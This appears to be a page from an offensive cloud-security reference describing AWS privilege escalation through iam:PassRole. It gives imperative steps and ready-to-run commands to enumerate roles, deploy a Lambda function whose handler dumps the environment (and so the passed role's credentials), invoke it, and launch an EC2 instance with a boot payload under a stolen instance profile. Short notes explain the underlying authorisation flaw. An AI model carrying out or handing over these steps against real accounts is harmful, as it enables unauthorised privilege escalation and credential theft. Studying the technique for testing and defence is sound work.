Exploit PassRole with a compute service¶
Become a more privileged role by handing it to a service that will run code as that role:
Find roles the identity may pass, and services it may create work in
Create the work, attach the role, and read what comes back
aws iam list-roles --query 'Roles[].RoleName'
aws iam get-role --role-name deployment-role
Example: a function that runs as somebody else¶
iam:PassRole alone changes nothing. Combined with permission to create a function, it runs arbitrary code under
whatever role was passed.
cat > f.py <<'EOF'
import os, json
def handler(event, context):
return json.dumps(dict(os.environ))
EOF
zip f.zip f.py
aws lambda create-function --function-name maintenance \
--runtime python3.12 --handler f.handler \
--role arn:aws:iam::123456789012:role/deployment-role \
--zip-file fileb://f.zip
aws lambda invoke --function-name maintenance out.json
The same trade works through an instance, where the user data script runs on boot with the instance profile attached:
aws ec2 run-instances --image-id ami-0abcdef1234567890 \
--instance-type t3.micro \
--iam-instance-profile Name=deployment-profile \
--user-data file://payload.sh
Notes¶
iam:PassRole exists so a developer can hand a role to a service without holding that role’s permissions
themselves. The authorisation check asks whether the identity may pass the role, not what the role is able to do
once it is passed.
The pairing is what escalates, so the interesting question is which service permissions sit alongside it. Functions, instances, container tasks, data pipelines and infrastructure deployment services each accept a role and each execute.
Where a policy grants iam:PassRole on Resource: "*", every role in the account is reachable by anyone who can
create work of any of those kinds.